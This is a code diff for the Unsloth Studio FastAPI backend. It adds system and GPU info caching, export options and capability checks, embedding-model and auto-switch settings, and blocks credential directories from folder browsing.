from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402
@ -1048,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
return {"status": "shutting_down"}
def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
"""Return merged GPU visibility/utilization with bounded live-probe churn."""
import time
from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
global _system_gpu_cache
now = time.monotonic()
with _system_gpu_cache_lock:
if _system_gpu_cache is not None:
cached_at, cached_gpu_info = _system_gpu_cache
if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
return cached_gpu_info
try:
visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU visibility info: {e}")
visibility_info = {"available": False, "devices": []}
try:
utilization_info = get_visible_gpu_utilization() or {"devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU utilization info: {e}")
utilization_info = {"devices": []}
util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
enriched_devices = []
for dev in visibility_info.get("devices", []):
idx = dev.get("index")
util = util_devices.get(idx, {})
total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
used_vram = util.get("vram_used_gb") or 0
enriched_dev = dict(dev)
enriched_dev["vram_used_gb"] = used_vram
enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
enriched_devices.append(enriched_dev)
gpu_info = {
"available": visibility_info.get("available", False),
"devices": enriched_devices,
}
_system_gpu_cache = (time.monotonic(), gpu_info)
return gpu_info
@app.get("/api/system")
async def get_system_info(current_subject: str = Depends(get_current_subject)):
def get_system_info(current_subject: str = Depends(get_current_subject)):
"""Get system information.
Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@ -1058,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
"""
import platform
import psutil
from utils.hardware import get_device
import os
import time
import logging
from utils.hardware import get_device, export_capability
from utils.hardware.hardware import _backend_label
visibility_info = get_backend_visible_gpu_info()
gpu_info = {
"available": visibility_info["available"],
"devices": visibility_info["devices"],
}
logger = logging.getLogger(__name__)
gpu_info = _get_cached_system_gpu_info(logger)
# CPU & Memory
memory = psutil.virtual_memory()
try:
cpu_freq = psutil.cpu_freq()
except Exception as e:
logger.debug(f"Failed to get CPU frequency: {e}")
cpu_freq = None
try:
disk = psutil.disk_usage(os.path.abspath(os.sep))
except Exception as e:
logger.debug(f"Failed to get disk usage: {e}")
disk = None
try:
current_process = psutil.Process(os.getpid())
process_used_mb = round(current_process.memory_info().rss / 1024**2)
except Exception as e:
logger.debug(f"Failed to get current process memory: {e}")
process_used_mb = 0
try:
boot_time = psutil.boot_time()
except Exception as e:
logger.debug(f"Failed to get boot time: {e}")
boot_time = None
# Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
from importlib.metadata import PackageNotFoundError, version as pkg_version
ml_packages = {}
for pkg in ("torch", "transformers"):
try:
ml_packages[pkg] = pkg_version(pkg)
except PackageNotFoundError:
pass
except Exception as e:
logger.debug(f"Failed to read {pkg} version: {e}")
return {
"platform": platform.platform(),
"python_version": platform.python_version(),
# _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
# matching /api/hardware and /api/gpu-visibility.
"device_backend": _backend_label(get_device()),
"cpu_count": psutil.cpu_count(),
"cpu_count": psutil.cpu_count(logical = True),
"uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
"cpu": {
"logical_count": psutil.cpu_count(logical = True),
"physical_count": psutil.cpu_count(logical = False),
"usage_percent": psutil.cpu_percent(interval = None),
"frequency_mhz": round(cpu_freq.current, 2)
if cpu_freq and cpu_freq.current is not None
else None,
},
"memory": {
"total_gb": round(memory.total / 1e9, 2),
"available_gb": round(memory.available / 1e9, 2),
"total_gb": round(memory.total / 1024**3, 2),
"available_gb": round(memory.available / 1024**3, 2),
"percent_used": memory.percent,
"process_used_mb": process_used_mb,
},
"disk": {
"total_gb": round(disk.total / 1e9, 2) if disk else 0,
"free_gb": round(disk.free / 1e9, 2) if disk else 0,
"percent_used": disk.percent if disk else 0,
},
"gpu": gpu_info,
"ml_packages": ml_packages,
# Export capability + torch-aware reason. See /api/system/hardware.
**export_capability(),
}
@ -1105,11 +1242,13 @@ def get_hardware_info(
method auto-selection. Sync def (not async): hardware/detail probes can
shell out, and FastAPI runs sync endpoints in a threadpool.
"""
from utils.hardware import get_gpu_summary, get_package_versions
from utils.hardware import get_gpu_summary, get_package_versions, export_capability
body = {
"gpu": get_gpu_summary(),
"versions": get_package_versions(),
# Export capability + torch-aware reason; the Export UI grays out with the message.
**export_capability(),
}
if include_details:
from utils.llama_cpp_update import get_installed_llama_version

27
studio/backend/models/export.py
View file

@ -6,7 +6,7 @@
from pathlib import Path, PureWindowsPath
from pydantic import BaseModel, Field, field_validator
from typing import List, Optional, Literal, Dict, Any
from typing import List, Optional, Literal, Dict, Any, Union
def _validate_save_directory(value: str) -> str:
@ -168,6 +168,15 @@ class ExportMergedModelRequest(ExportCommonOptions):
description = "Export precision / format for the merged model. The compressed-tensors "
"options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
)
compressed_method: Optional[str] = Field(
None,
description = "Optional quantized-export alias. Either a compressed-tensors scheme "
"(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) "
"from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias "
"('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. "
"When set, it overrides format_type. Lets the export UI expose the full set of formats "
"beyond the quick buttons.",
)
class ExportBaseModelRequest(ExportCommonOptions):
@ -189,9 +198,10 @@ class ExportGGUFRequest(BaseModel):
def _check_save_directory(cls, v):
return _validate_save_directory(v)
quantization_method: str = Field(
quantization_method: Union[str, List[str]] = Field(
"Q4_K_M",
description = 'GGUF quantization method (e.g. "Q4_K_M")',
description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list '
'(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.',
)
push_to_hub: bool = Field(
False,
@ -219,4 +229,13 @@ class ExportGGUFRequest(BaseModel):
class ExportLoRAAdapterRequest(ExportCommonOptions):
"""Request for exporting only the LoRA adapter (not merged)."""
# Uses fields from ExportCommonOptions only
gguf: bool = Field(
False,
description = "If True, also convert the adapter to a GGUF LoRA file "
"(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.",
)
gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field(
"q8_0",
description = "GGUF LoRA output float type (only used when gguf=True). "
"Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).",
)

18
studio/backend/models/inference.py
View file

@ -780,6 +780,16 @@ class ChatCompletionRequest(BaseModel):
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = (
"[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
"model emitted a tool signal that healing could not repair, retry ONCE with "
"a short nudge appended (the retry shares the full prompt prefix, so the "
"server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
"the process default."
),
)
context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
None,
description = (
@ -1612,6 +1622,14 @@ class AnthropicMessagesRequest(BaseModel):
False,
description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
)
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
)
model_config = {"extra": "allow"}
@model_validator(mode = "before")

25
studio/backend/routes/export.py
View file

@ -46,6 +46,23 @@ router = APIRouter()
logger = get_logger(__name__)
def _ensure_export_supported() -> None:
"""Reject a mutating export request up front (HTTP 400) when the host can't export.
Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
(scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
"""
from utils.hardware import export_capability
cap = export_capability()
if not cap.get("export_supported", True):
raise HTTPException(
status_code = 400,
detail = cap.get("export_unsupported_message")
or "Export is not supported on this platform.",
)
@router.post("/load-checkpoint", response_model = ExportOperationResponse)
async def load_checkpoint(
request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
@ -58,6 +75,7 @@ async def load_checkpoint(
a clear error instead of tearing down the user's other running workloads.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
# Run in a worker thread (spawns and waits on a subprocess, can take
# minutes) so the event loop stays free to serve the live log SSE stream.
@ -266,6 +284,7 @@ async def export_merged_model(
Wraps ExportBackend.export_merged_model.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_merged_model,
@ -275,6 +294,7 @@ async def export_merged_model(
repo_id = request.repo_id,
hf_token = request.hf_token,
private = request.private,
compressed_method = request.compressed_method,
)
if not success:
@ -304,6 +324,7 @@ async def export_base_model(
Wraps ExportBackend.export_base_model.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_base_model,
@ -342,6 +363,7 @@ async def export_gguf(
Wraps ExportBackend.export_gguf.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
# A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
imatrix_file = request.imatrix_path or (True if request.imatrix else None)
@ -382,6 +404,7 @@ async def export_lora_adapter(
Wraps ExportBackend.export_lora_adapter.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_lora_adapter,
@ -390,6 +413,8 @@ async def export_lora_adapter(
repo_id = request.repo_id,
hf_token = request.hf_token,
private = request.private,
gguf = request.gguf,
gguf_outtype = request.gguf_outtype,
)
if not success:

1760
studio/backend/routes/inference.py
View file

File diff suppressed because it is too large Load diff

61
studio/backend/routes/models.py
View file

@ -7,6 +7,7 @@ import asyncio
import hashlib
import json
import os
import re
import shutil
import sys
import uuid
@ -58,25 +59,51 @@ def _safe_is_dir(path) -> bool:
return False
# Hub repo id shape ("owner/name", no leading separator); anything else is
# treated as a local filesystem path.
_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
def _is_hidden_model(*values: str | None) -> bool:
"""True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
(ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
None are usable chat models; the probe can be cached as a side effect of
installing the prebuilt llama-server and otherwise sorts smallest, so it
would be auto-selected."""
would be auto-selected. A local-path embedder is matched by exact resolved
path only: a generic basename like "model" must not substring-hide
unrelated chat models."""
from core.rag import config as rag_config
needles = (
rag_config.EMBEDDING_MODEL.split("/")[-1].lower(),
rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(),
needles = [
# The validation probe's repo (matches the cached repo id) and its exact
# filename (matches the on-disk path). The filename carries the .gguf so
# it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
"ggml-org/models",
"stories260k.gguf",
)
return any(v and any(n in v.lower() for n in needles) for v in values)
]
exact_paths: list[str] = []
for model in (
rag_config.effective_embedding_model(),
rag_config.effective_gguf_repo(),
):
if _HF_REPO_ID_RE.match(model):
needles.append(model.split("/")[-1].lower())
else:
resolved = _safe_resolve(Path(model).expanduser())
if resolved:
exact_paths.append(resolved.lower())
for v in values:
if not v:
continue
low = v.lower()
if any(n in low for n in needles):
return True
if exact_paths:
resolved = _safe_resolve(Path(v).expanduser())
if resolved and resolved.lower() in exact_paths:
return True
return False
def _safe_resolve(path: Path) -> Optional[str]:
@ -1175,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]:
legacy_hf_cache_dir,
well_known_model_dirs,
)
from utils.paths.external_media import linux_run_media_mount_roots
from storage.studio_db import list_scan_folders
candidates: list[Path] = []
@ -1190,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]:
candidates.append(resolved)
_add(Path.home())
for p in linux_run_media_mount_roots():
_add(p)
_add(_resolve_hf_cache_dir())
try:
_add(hf_default_cache_dir())
@ -1309,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
"""Resolve a requested browse path by walking from trusted allowlist roots."""
from storage.studio_db import contains_sensitive_path_component
requested_path = _normalize_browse_request_path(path)
resolved_roots: list[Path] = []
seen_roots: set[str] = set()
@ -1359,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
"under your home folder."
),
)
if contains_sensitive_path_component(str(resolved_child)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
current = resolved_child
if contains_sensitive_path_component(str(current)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
if not current.is_dir():
raise HTTPException(
status_code = 400,
@ -1408,7 +1450,8 @@ async def browse_folders(
then hidden (if ``show_hidden=true``).
"""
from utils.paths import hf_default_cache_dir, well_known_model_dirs
from storage.studio_db import list_scan_folders
from utils.paths.external_media import linux_run_media_mount_roots
from storage.studio_db import contains_sensitive_path_component, list_scan_folders
# Build once; the sandbox check and suggestion chips share it.
allowed_roots = _build_browse_allowlist()
@ -1461,6 +1504,8 @@ async def browse_folders(
is_hidden = name.startswith(".")
if is_hidden and not show_hidden:
continue
if contains_sensitive_path_component(name):
continue
entries.append(
BrowseEntry(
name = name,
@ -1514,6 +1559,8 @@ async def browse_folders(
# Home first -- the safe fallback when everything else is cold.
_add_sug(Path.home())
for p in linux_run_media_mount_roots():
_add_sug(p)
# The HF cache root the process is actually using.
try:
_add_sug(hf_default_cache_dir())

9
studio/backend/routes/preview.py
View file

@ -17,7 +17,11 @@ from loggers import get_logger
from auth.authentication import get_current_subject
from auth.storage import DEFAULT_ADMIN_USERNAME
from models.inference import ChatCompletionRequest, LoadRequest
from routes.inference import load_model, openai_chat_completions
from routes.inference import (
disable_openai_auto_switch_for_request,
load_model,
openai_chat_completions,
)
from state.tool_policy import tools_force_disabled
from utils.client_ip import client_ip
from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
@ -155,6 +159,9 @@ async def _serve_chat(
path = _resolve_or_4xx(run, checkpoint)
is_lora = (path / "adapter_config.json").exists()
payload = _sanitize_preview_payload(payload, is_lora)
# Preview always serves the pinned checkpoint it loads below; a public caller's
# `model` field must never trigger an OpenAI auto-switch to another GGUF.
disable_openai_auto_switch_for_request(getattr(request, "scope", None))
await _preview_lock.acquire()
keep_locked = False
try:

2
studio/backend/routes/rag.py
View file

@ -167,7 +167,7 @@ def create_knowledge_base(
conn,
name = payload.name.strip(),
description = (payload.description or None),
embedding_model = config.EMBEDDING_MODEL,
embedding_model = config.effective_embedding_model(),
)
return {"id": kb_id, "name": payload.name.strip()}
finally:

292
studio/backend/routes/settings.py
View file

@ -4,7 +4,7 @@
from typing import Literal, Optional
from urllib.parse import unquote, urlsplit
from fastapi import APIRouter, Depends
from fastapi import APIRouter, Depends, HTTPException
from pydantic import BaseModel, ConfigDict, Field, field_validator
from auth.authentication import get_current_subject
@ -32,11 +32,30 @@ from utils.helper_precache_settings import (
helper_model_disabled_by_env,
set_helper_precache_enabled,
)
from utils.openai_auto_switch_settings import (
DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
get_auto_unload_idle_seconds,
get_model_overrides,
get_openai_auto_switch_enabled,
get_stored_auto_unload_idle_seconds,
set_model_override,
set_openai_auto_switch,
)
from utils.preview_sharing_settings import (
DEFAULT_PREVIEW_SHARING_ENABLED,
get_preview_sharing_enabled,
set_preview_sharing_enabled,
)
from utils.embedding_model_settings import (
MAX_EMBEDDING_MODEL_LENGTH,
default_embedding_model,
get_rag_embedding_model,
get_stored_embedding_model,
reset_rag_embedding_model,
set_rag_embedding_model,
validate_embedding_model,
)
router = APIRouter()
@ -66,6 +85,33 @@ class HelperPrecacheResponse(BaseModel):
disabled_by_env: bool
class OpenAIAutoSwitchPayload(BaseModel):
enabled: bool
auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
class OpenAIAutoSwitchResponse(BaseModel):
enabled: bool
auto_unload_idle_seconds: int
default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
# True when the idle-unload loop will actually unload (effective TTL > 0). With
# UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
# is false, so the UI can show idle-unload as active instead of "needs enable".
idle_unload_active: bool = False
class ModelOverridePayload(BaseModel):
model_id: str = Field(..., min_length = 1)
llama_extra_args: list[str] = Field(default_factory = list)
# ge=1: 0 is not a valid sequence length, and the setter drops a falsy value,
# so reject it at the boundary instead of accepting then silently discarding it.
max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576)
class ModelOverridesResponse(BaseModel):
overrides: dict[str, dict]
def _upload_limit_response(limit_mb: int) -> UploadLimitResponse:
return UploadLimitResponse(
max_upload_size_mb = limit_mb,
@ -128,6 +174,250 @@ def update_helper_precache(
return _helper_precache_response(enabled)
@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
def get_openai_auto_switch(
current_subject: str = Depends(get_current_subject),
) -> OpenAIAutoSwitchResponse:
return OpenAIAutoSwitchResponse(
enabled = get_openai_auto_switch_enabled(),
auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
idle_unload_active = get_auto_unload_idle_seconds() > 0,
)
@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
def update_openai_auto_switch(
payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
) -> OpenAIAutoSwitchResponse:
try:
enabled, idle_seconds = set_openai_auto_switch(
payload.enabled, payload.auto_unload_idle_seconds
)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."),
event = "settings.update_openai_auto_switch_failed",
log = logger,
) from exc
return OpenAIAutoSwitchResponse(
enabled = enabled,
auto_unload_idle_seconds = idle_seconds,
idle_unload_active = get_auto_unload_idle_seconds() > 0,
)
@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
def get_openai_auto_switch_overrides(
current_subject: str = Depends(get_current_subject),
) -> ModelOverridesResponse:
return ModelOverridesResponse(overrides = get_model_overrides())
@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
def update_openai_auto_switch_override(
payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject)
) -> ModelOverridesResponse:
from core.inference.llama_server_args import validate_extra_args
try:
extra_args = validate_extra_args(payload.llama_extra_args)
set_model_override(
payload.model_id,
llama_extra_args = extra_args,
max_seq_length = payload.max_seq_length,
)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid model launch override."),
event = "settings.update_model_override_failed",
log = logger,
) from exc
return ModelOverridesResponse(overrides = get_model_overrides())
class EmbeddingModelPayload(BaseModel):
embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH)
# Token for gated/private repos during verification (not stored).
hf_token: Optional[str] = Field(default = None, max_length = 512)
# Skip HF verification (offline installs, local paths HF can't see).
force: bool = False
class EmbeddingModelResponse(BaseModel):
embedding_model: str
default_embedding_model: str
is_custom: bool
def _embedding_model_response() -> EmbeddingModelResponse:
return EmbeddingModelResponse(
embedding_model = get_rag_embedding_model(),
default_embedding_model = default_embedding_model(),
is_custom = get_stored_embedding_model() is not None,
)
def _llama_backend_active() -> bool:
"""True when this install embeds via the llama-server (GGUF) backend."""
from core.rag import config as rag_config
from core.rag import embeddings
try:
raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
except Exception: # noqa: BLE001 - backend probe must never block saving
return False
return key in embeddings._LLAMA_ALIASES
def _resolves_as_local_gguf(model: str) -> bool:
"""True when ``model`` is a local .gguf file or a directory holding one, so
a save on the llama-server backend needs no HF verification (the artifact
itself is the proof)."""
from core.rag.embed_llama_server import LlamaServerBackend
try:
return LlamaServerBackend._resolve_local_gguf(model) is not None
except Exception: # noqa: BLE001 - dir without .gguf, filesystem oddity
return False
def _local_gguf_backend_error(model: str) -> str | None:
"""409 detail when ``model`` is a local dir without a .gguf but this install
embeds via llama-server (macOS/CPU default), which needs one. A
sentence-transformers-only folder would verify fine yet fail at first index.
None when not applicable. ``force`` skips this check like HF verification."""
from pathlib import Path
if not Path(model).expanduser().is_dir():
return None
from core.rag.embed_llama_server import LlamaServerBackend
if not _llama_backend_active():
return None
try:
LlamaServerBackend._resolve_local_gguf(model)
return None
except RuntimeError:
return (
f"{model!r} contains no .gguf file, but this install embeds with the "
"llama-server backend which requires one. Add a GGUF file to the "
"folder or use a Hugging Face repo."
)
except Exception: # noqa: BLE001 - filesystem oddity: don't block saving
return None
def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None:
"""409 detail when the llama-server backend would find no .gguf for an HF
repo: neither the derived companion repo nor the repo itself has one. Saves
that verify as embedding models would otherwise fail at first index.
None when not applicable; ``force`` skips this like HF verification."""
from pathlib import Path
if Path(model).expanduser().exists():
return None # local paths are handled by the local checks
if not _llama_backend_active():
return None
from core.rag import config as rag_config
candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model]
try:
from huggingface_hub import list_repo_files
except Exception: # noqa: BLE001 - hub client unavailable: don't block saving
return None
for candidate in candidates:
try:
files = list_repo_files(candidate, token = hf_token)
except Exception: # noqa: BLE001 - missing/gated repo: try next candidate
continue
if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files):
return None
checked = " or ".join(repr(c) for c in candidates)
return (
f"No GGUF weights found in {checked}, but this install embeds with the "
"llama-server backend which requires them. Pick a model with a GGUF "
"companion repo or GGUF files in the repo itself."
)
@router.get("/embedding-model", response_model = EmbeddingModelResponse)
def get_embedding_model(
current_subject: str = Depends(get_current_subject),
) -> EmbeddingModelResponse:
return _embedding_model_response()
@router.put("/embedding-model", response_model = EmbeddingModelResponse)
def update_embedding_model(
payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject)
) -> EmbeddingModelResponse:
"""Set the RAG embedding model. Unless ``force`` is set, the repo is verified
to be an embedding model via HF metadata; an unverifiable model (wrong type,
typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
Documents indexed under the previous model must be re-uploaded."""
from utils.models import is_embedding_model
try:
model = validate_embedding_model(payload.embedding_model)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid embedding model."),
event = "settings.update_embedding_model_failed",
log = logger,
) from exc
# The env/default model needs no verification; saving it is a no-op override.
# A local GGUF on the llama-server backend is accepted as-is: it is exactly
# what the backend loads, and HF metadata cannot verify a local path.
if (
model != default_embedding_model()
and not payload.force
and not (_llama_backend_active() and _resolves_as_local_gguf(model))
):
hf_token = (payload.hf_token or "").strip() or None
from core.rag import config as rag_config
# A GGUF-named repo on the llama-server backend is loaded from its .gguf
# files, which rarely carry sentence-transformers metadata; verify the
# GGUF is available (below) rather than the ST embedding-metadata gate,
# which would wrongly 409 a valid online GGUF embedder.
gguf_named = _llama_backend_active() and rag_config._names_gguf(model)
if not gguf_named and not is_embedding_model(model, hf_token = hf_token):
raise HTTPException(
status_code = 409,
detail = (
f"Could not verify {model!r} as an embedding model on "
"Hugging Face (it may be the wrong model type, gated, or "
"you may be offline)."
),
)
gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token)
if gguf_error:
raise HTTPException(status_code = 409, detail = gguf_error)
set_rag_embedding_model(model)
logger.info(
"settings.embedding_model_updated subject=%s model=%s forced=%s",
current_subject,
model,
payload.force,
)
return _embedding_model_response()
@router.delete("/embedding-model", response_model = EmbeddingModelResponse)
def reset_embedding_model(
current_subject: str = Depends(get_current_subject),
) -> EmbeddingModelResponse:
"""Clear the override, returning to the env/default model."""
reset_rag_embedding_model()
logger.info("settings.embedding_model_reset subject=%s", current_subject)
return _embedding_model_response()
class PreviewLinkRotateResponse(BaseModel):
rotated: bool = True

22
studio/backend/routes/training.py
View file

@ -47,7 +47,7 @@ except ImportError:
from utils.paths import resolve_dataset_path
# Auth
from auth.authentication import get_current_subject
from auth.authentication import authenticated_via_api_key, get_current_subject
from utils.utils import log_and_http_error
@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu
@router.post("/start")
async def start_training(
request: TrainingStartRequest, current_subject: str = Depends(get_current_subject)
request: TrainingStartRequest,
current_subject: str = Depends(get_current_subject),
via_api_key: bool = Depends(authenticated_via_api_key),
):
"""
Start a training job.
@ -125,6 +127,22 @@ async def start_training(
try:
logger.info(f"Starting training job with model: {request.model_name}")
# When Studio is driven as an inference API (API-key auth), refuse to start
# training while a request is in flight: training frees VRAM by unloading
# the chat model, which would kill the stream. The Studio UI (session auth)
# still starts training and coexists/frees VRAM as before. (A mixed UI+API
# session is not yet special-cased.)
if via_api_key is True:
from core.inference.llama_keepwarm import other_inference_request_count
if other_inference_request_count(current_request_counted = False) > 0:
raise HTTPException(
status_code = 409,
detail = (
"Cannot start training over the API while an inference request is in "
"progress. Wait for it to finish, or start training from the Studio UI."
),
)
# No in-process ensure_transformers_version(): the subprocess
# (worker.py) activates the correct version before importing ML libs.

20
studio/backend/startup_banner.py
View file

@ -12,6 +12,18 @@ import os
import sys
def _safe_print(text: str) -> None:
"""Print text without crashing on terminals that cannot encode Unicode."""
try:
print(text)
except UnicodeEncodeError:
encoding = getattr(sys.stdout, "encoding", None) or "ascii"
try:
print(text.encode(encoding, errors = "replace").decode(encoding))
except LookupError:
print(text.encode("ascii", errors = "replace").decode("ascii"))
def stdout_supports_color() -> bool:
"""True if we should emit ANSI colors."""
if os.environ.get("NO_COLOR", "").strip():
@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None:
"""Message when the requested port is taken and another is chosen."""
msg = f"Port {original_port} is in use, using port {new_port} instead."
if stdout_supports_color():
print(f"\033[38;5;245m{msg}\033[0m")
_safe_print(f"\033[38;5;245m{msg}\033[0m")
else:
print(msg)
_safe_print(msg)
def print_studio_stop_hint() -> None:
@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None:
def style(text: str, code: str) -> str:
return f"{code}{text}{reset}" if use_color else text
print(
_safe_print(
"\n".join(
[
"",
@ -180,4 +192,4 @@ def print_studio_access_banner(
]
)
print("\n".join(lines))
_safe_print("\n".join(lines))

33
studio/backend/storage/rag_db.py
View file

@ -15,6 +15,7 @@ column type).
"""
import logging
import re
import sqlite3
import threading
@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
error TEXT,
num_chunks INTEGER NOT NULL DEFAULT 0,
stored_path TEXT,
created_at TEXT NOT NULL
created_at TEXT NOT NULL,
embedding_model TEXT
);
CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope);
CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256);
@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()}
if "project_id" not in cols:
conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT")
# Lazy upgrade: which embedder produced a document's vectors (NULL = legacy,
# assumed current). Dedupe re-ingests when it no longer matches.
if "embedding_model" not in cols:
conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT")
def get_connection() -> sqlite3.Connection:
@ -143,9 +149,32 @@ def get_connection() -> sqlite3.Connection:
return conn
def vec_table_dim(conn: sqlite3.Connection) -> int | None:
"""Embedding width baked into ``chunks_vec``, or None when absent."""
row = conn.execute(
"SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
).fetchone()
if row is None or not row["sql"]:
return None
m = re.search(r"float\[(\d+)\]", row["sql"])
return int(m.group(1)) if m else None
def ensure_vec(conn: sqlite3.Connection, dim: int) -> None:
"""Create the dense ``chunks_vec`` table once the embedding dim is known
(vec0 bakes it into the column type). Idempotent; dim fixed per db."""
(vec0 bakes it into the column type). A width change (embedding model
switched in Settings) drops the table: the old vectors live in a foreign
space and would only block inserts, while lexical search keeps serving old
chunks until they are re-uploaded."""
existing = vec_table_dim(conn)
if existing is not None and existing != int(dim):
logger.warning(
"chunks_vec dim changed %d -> %d (embedding model switched); dropping "
"stale dense index. Re-upload documents to restore dense search.",
existing,
int(dim),
)
conn.execute("DROP TABLE chunks_vec")
conn.execute(
f"CREATE VIRTUAL TABLE IF NOT EXISTS chunks_vec USING vec0("
f"scope TEXT partition key, "

59
studio/backend/storage/studio_db.py
View file

@ -22,7 +22,15 @@ logger = logging.getLogger(__name__)
from typing import Any, Iterable, Optional
from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
from utils.paths import (
ensure_dir,
project_workspaces_root,
studio_db_path,
)
from utils.paths.external_media import is_linux_run_media_path
from utils.paths.sensitive import (
contains_sensitive_path_component as _shared_contains_sensitive_path_component,
)
from utils.training_runs import extract_project_name
